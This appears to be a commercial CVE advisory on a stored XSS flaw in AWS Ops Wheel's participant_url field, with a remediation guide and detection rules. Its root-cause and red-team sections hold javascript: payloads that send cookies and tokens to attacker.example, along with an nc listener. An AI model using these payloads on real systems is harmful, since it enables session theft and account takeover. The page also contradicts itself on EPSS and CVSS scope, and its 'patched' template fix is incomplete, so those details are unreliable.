☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 7.3 CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2026-18481

CVE-2026-18481 XSS in AWS Ops Wheel
📅 PUBLISHED: 2026-07-31 19:17 UTC 🔄 UPDATED: 2026-09-23 20:22 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.28%
👁️
0.28% probability
7.0× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1059.007
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 7.3
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: L Privileges Required Low
UI: R User Interaction Required
S: U Scope Unchanged
C: H Confidentiality High
I: H Integrity High
A: N Availability None
7.3
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2026-18481 is a stored cross-site scripting (XSS) vulnerability in AWS Ops Wheel, specifically in participant URL handling. An authenticated remote user can supply a crafted participant_url value containing a dangerous URI scheme such as javascript: or data:text/html. Because the input is stored and later rendered without sufficient neutralization, the payload executes in the browser context of any user who views the affected participant data, including administrators.

Successful exploitation allows the attacker to steal session tokens and escalate to full administrative control of the deployed AWS Ops Wheel instance. The vendor has not published a formal OSV or GitHub Advisory entry, but remediation guidance states that users should redeploy from the latest version of aws-ops-wheel, with the fix tracked as PR #168.

At the time of analysis:

  • EPSS Score: 0.0%
  • Public Exploit: None
  • Nuclei Template: None
  • Exploit-DB Entry: None
  • Patch Status: Official patch not fully confirmed; latest redeployment required
⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Vulnerability Overview

Field Value
CVE CVE-2026-18481
Vendor AWS Ops Wheel
Affected Component Participant URL handling
Affected Versions Unknown, all versions before PR #168
Patched Versions Latest aws-ops-wheel after PR #168
CWE CWE-79
CVSS Base Score 7.3 High
EPSS 0.0%
Exploited in the wild No evidence

CVSS Breakdown & Threat Level

The official CVSS vector is not available in the provided CVE metadata. The reported CVSS score is 7.3, which is classified as HIGH severity.

Based on the vulnerability description and common stored XSS scoring, the following CVSS dimensions likely apply:

Metric Likely Value Rationale
Attack Vector Network The vulnerable interface is remotely accessible
Attack Complexity Low No special conditions required
Privileges Required Low Attacker must have an authenticated user account
User Interaction Required An admin or victim must view the page
Scope Changed Script executes in the victim's admin session
Confidentiality High Session token theft can expose sensitive data
Integrity High Full administrative control can modify settings

Business Risk

  • Integrity risk: Administrator account takeover.
  • Confidentiality risk: Access to all data managed by the AWS Ops Wheel instance.
  • Availability risk: Malicious admin actions can disrupt deployments, delete configurations, or create backdoor accounts.
  • Supply chain risk: If the instance is integrated with CI/CD pipelines, the attacker could pivot into underlying cloud resources.

Deep Dive & Mechanics

Root Cause

The application fails to validate the URI scheme of participant_url values before storing them. It also fails to apply context-aware output encoding when rendering those values in an href or similar browser-executable context.

An attacker can submit:

javascript:fetch('https://attacker.example/steal?token=' + document.cookie)

This value is stored server-side. When an administrator loads the participant list or detail page, the browser may automatically interpret the javascript: URI scheme and execute the payload.

Attack Flow

  1. Attacker authenticates as a low-privileged user.
  2. Attacker creates or modifies a participant record.
  3. Attacker sets participant_url to a malicious javascript: or data: URI.
  4. Application stores the malicious value without sanitization.
  5. Administrator opens the participant page.
  6. The payload executes in the administrator's browser session.
  7. Session cookie or in-memory session token is stolen and exfiltrated.
  8. Attacker replays the session token to impersonate the administrator.
  9. Attacker gains full administrative control.

Dangerous URI Schemes

The following schemes are commonly abused in URL-based stored XSS:

  • javascript:
  • data:text/html,<script>
  • vbscript:
  • livescript:
  • mocha:

Even if the application blocks classic "><script> injection, allowing javascript: in an href attribute is sufficient for code execution.

MITRE ATT&CK Mapping

Tactic Technique ID
Credential Access Steal Web Session Cookie T1539
Execution Command and Scripting Interpreter: JavaScript T1059.007
Privilege Escalation Valid Accounts: User Accounts T1078
Initial Access Exploit Public-Facing Application T1190

The primary technique associated with the stated impact is T1539: Steal Web Session Cookie.

Vulnerable vs. Patched Code

The exact source code is not provided in the CVE data. The following examples represent likely vulnerable patterns and their corresponding fix patterns.

Vulnerable Pattern

# Vulnerable: no URI scheme validation
def add_participant(request):
    participant_url = request.POST.get("participant_url")
    save_participant(url=participant_url)
    return redirect("participant_detail", participant.id)
<!-- Vulnerable: participant_url is rendered directly -->
<a href="{{ participant_url }}">
  Join session
</a>

The string javascript:document.location='https://evil.example/?c='+document.cookie would be accepted and rendered into the href attribute.

Patched Pattern

from urllib.parse import urlparse

# Patched: allow only safe URI schemes
def add_participant(request):
    raw_url = request.POST.get("participant_url")
    parsed = urlparse(raw_url)
    if parsed.scheme not in ("http", "https"):
        raise ValidationError("Only http and https URLs are allowed")
    save_participant(url=sanitize_url(raw_url))
    return redirect("participant_detail", participant.id)
<!-- Patched: output encoding applied -->
<a href="{{ participant_url | escape }}">
  Join session
</a>

Patch Requirements

PR #168 should include:

  • Strict URI scheme allowlist.
  • Server-side URL parser validation.
  • Context-aware output encoding.
  • Optional Content Security Policy.
  • Regression tests for stored XSS payloads.

Exploitation & Lab Setup

Red Team Section

Objective: Prove session token theft and administrative takeover in a controlled lab.

  1. Deploy the latest vulnerable version of AWS Ops Wheel in an isolated environment.
  2. Create two accounts:
    • attacker with low-privilege access.
    • admin with full administrative access.
  3. Log in as attacker.
  4. Create or edit a participant and set participant_url to the following payload:
javascript:fetch('https://attacker.example/collect?token=' + encodeURIComponent(document.cookie))
  1. On the attacker-controlled server, start a listener:
nc -lvnp 80
  1. Log in as admin.
  2. Navigate to the participant detail page or the participant list.
  3. Trigger the link if user interaction is required, or wait for the browser to process the URI automatically.
  4. Capture the admin cookie or session token at the attacker server.
  5. Replay the token in an admin browser session to demonstrate full administrative takeover.

Advanced Payload Using Fetch

javascript:fetch('/api/admin/token').then(r => r.text()).then(t => fetch('https://attacker.example/exfil?t=' + encodeURIComponent(t)))

SessionStorage Payload

javascript:setTimeout(function(){ new Image().src = 'https://attacker.example/?s=' + encodeURIComponent(sessionStorage.getItem('token')); }, 300)

Blue Team Section

Objective: Detect and block exploitation attempts.

  1. Patch first. Redeploy from the latest aws-ops-wheel version containing PR #168.
  2. Audit existing participant records for dangerous URI schemes using a database query:
SELECT id, participant_url
FROM participants
WHERE participant_url ~* '^(javascript|data|vbscript|livescript|mocha):';
  1. Add WAF signatures to block participant_url parameters containing javascript:, data:text/html, or vbscript:.
  2. Review proxy / application logs for suspicious participant creation events.
  3. Monitor outbound traffic from the AWS Ops Wheel instance to unknown domains.
  4. Apply a strict CSP if patching is delayed:
Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'; base-uri 'self'
  1. Rotate all sessions and secrets after applying the patch.

Public Exploit Status

No Exploit-DB code exists for CVE-2026-18481. No Nuclei template is currently available. The exploitation path is manual and requires an authenticated low-privileged account.

Indicators of Compromise (IOCs)

Application IOCs

  • Stored participant_url values containing:
    • javascript:
    • data:text/html
    • vbscript:
    • livescript:
    • mocha:
  • Repeated submissions of participant forms with URL-encoded script keywords.
  • Unexpected new participant records created by low-privileged users.
  • Administrator sessions executing from unusual IP addresses.

Network IOCs

  • Outbound connections to attacker-controlled domains after participant list views.
  • HTTP requests containing document.cookie, sessionStorage, or localStorage in the URL.
  • Requests to paths such as /collect, /exfil, /steal, or /log with token parameters.

Session IOCs

  • Admin session token observed in HTTP Referer headers.
  • Same session token used from different user agents.
  • Duplicate session cookies across multiple IP addresses.

Log Example

GET /participants HTTP/1.1
Host: aws-ops-wheel.internal
User-Agent: Mozilla/5.0

Then:

GET /collect?token=sessionId%3D1234... HTTP/1.1
Host: attacker.example

Detection Engineering

YARA Rule

The YARA rule below detects malicious participant_url payloads in logs, exports, or memory captures.

rule CVE_2026_18481_AWS_Ops_Wheel_Stored_XSS
{
    meta:
        author = "Valters IT"
        description = "Detects dangerous URI schemes in AWS Ops Wheel participant_url payloads"
        cve = "2026-18481"
        date = "2026-01-01"
    strings:
        $javascript = "javascript:" ascii wide
        $data_html  = "data:text/html" ascii wide
        $vbscript   = "vbscript:" ascii wide
        $livescript = "livescript:" ascii wide
        $mocha      = "mocha:" ascii wide
        $cookie     = "document.cookie" ascii wide
        $session    = "sessionStorage" ascii wide
    condition:
        (
            ($javascript or $data_html or $vbscript or $livescript or $mocha)
            and
            ($cookie or $session)
        )
}

Sigma Rule

The following Sigma rule detects suspicious participant_url parameters in web server or WAF logs.

title: CVE-2026-18481 AWS Ops Wheel Stored XSS Participant URL
id: 5b9f239f-0c70-4f6a-8d0f-3ae0d9b0f7dc
status: experimental
description: Detects dangerous URI schemes in participant_url parameters associated with AWS Ops Wheel stored XSS
author: Valters IT
logsource:
    category: web
    product: generic
detection:
    selection_javascript:
        http.url|contains|all:
            - 'participant_url='
            - 'javascript:'
    selection_data:
        http.url|contains|all:
            - 'participant_url='
            - 'data:text/html'
    selection_vb:
        http.url|contains|all:
            - 'participant_url='
            - 'vbscript:'
    condition: selection_javascript or selection_data or selection_vb
falsepositives:
    - Penetration testing
    - Security scanner activity
level: high

Suricata IDS Rules

alert http any any -> any any (msg:"CVE-2026-18481 AWS Ops Wheel Stored XSS - javascript participant_url"; flow:established,to_server; content:"participant_url="; nocase; http_uri; content:"javascript:"; nocase; http_uri; sid:202618481; rev:1; classtype:web-application-attack; reference:cve,2026-18481;)
alert http any any -> any any (msg:"CVE-2026-18481 AWS Ops Wheel Stored XSS - data URI participant_url"; flow:established,to_server; content:"participant_url="; nocase; http_uri; content:"data:text/html"; nocase; http_uri; sid:202618482; rev:1; classtype:web-application-attack; reference:cve,2026-18481;)

SIEM Query Example

index=web sourcetype=access_combined
| regex "participant_url=(javascript|data:text/html|vbscript|mocha|livescript):"
| stats count by clientip, uri_path, user_agent, _time

Remediation & Mitigation

Immediate Actions

  • Redeploy AWS Ops Wheel from the latest version that includes PR #168.
  • If patching is impossible, block participant_url values containing non-http(s) URI schemes at the reverse proxy or WAF.
  • Revoke all active sessions after patching to invalidate stolen tokens.

Code Hardening

  • Enforce a strict allowlist for URI schemes.
  • Use context-aware output encoding in templates.
  • Add server-side URL validation using urlparse or equivalent.
  • Implement a restrictive Content Security Policy.
  • Add automated tests for XSS payloads inside URL attributes.

Operational Hygiene

  • Audit existing participant records for stored payloads.
  • Review WAF and application logs for exploitation attempts.
  • Rotate credentials and secrets associated with the AWS Ops Wheel deployment.
  • Monitor new admin account creation and role assignments.

Long-Term Recommendations

  • Integrate SAST into the CI/CD pipeline.
  • Run DAST scans against all authenticated input fields.
  • Subscribe to maintainer notifications for aws-ops-wheel.
  • Add XSS detection rules to the SOC alerting stack.

References

  • CVE-2026-18481 NVD metadata
  • AWS Ops Wheel repository, PR #168
  • CWE-79: Improper Neutralization of Input During Web Page Generation
  • MITRE ATT&CK T1539: Steal Web Session Cookie

Valters IT — DevSecOps & Cyber Threat Intelligence Report.

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2026-18481/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.